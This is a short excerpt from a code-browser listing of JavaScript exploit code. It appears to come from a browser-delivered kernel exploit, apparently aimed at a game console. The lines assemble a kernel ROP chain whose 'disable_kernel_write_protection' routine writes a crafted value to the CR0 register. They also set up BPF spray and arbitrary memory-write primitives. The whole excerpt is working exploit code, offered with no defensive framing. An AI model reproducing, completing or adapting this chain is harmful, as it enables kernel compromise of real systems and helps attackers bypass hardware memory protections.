()
| 422 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 423 | }; |
| 424 | var disable_kernel_write_protection = function () { |
| 425 | krop.push(window.gadgets["pop rax"]); |
| 426 | krop.push(kscratch); |
| 427 | krop.push(window.gadgets["mov rax, [rax]"]); |
| 428 | krop.push(window.gadgets["pop rcx"]); |
| 429 | krop.push(window.kernel_offsets["mov cr0, rax"]); |
| 430 | krop.push(window.gadgets["add rax, rcx"]); |
| 431 | krop.push(window.gadgets["mov rdx, rax"]); |
| 432 | krop.push(window.gadgets["pop rax"]); |
| 433 | krop.push(0x80040033); |
| 434 | krop.push(window.gadgets["jmp rdx"]); |
| 435 | }; |
| 436 | var stackshift_from_retaddr = 0; |
| 437 | p.write8(bpf_spray_instructions.add32(0x10), ctxp); |
| 438 | p.write8(ctxp.add32(0x50), 0); |
no outgoing calls
no test coverage detected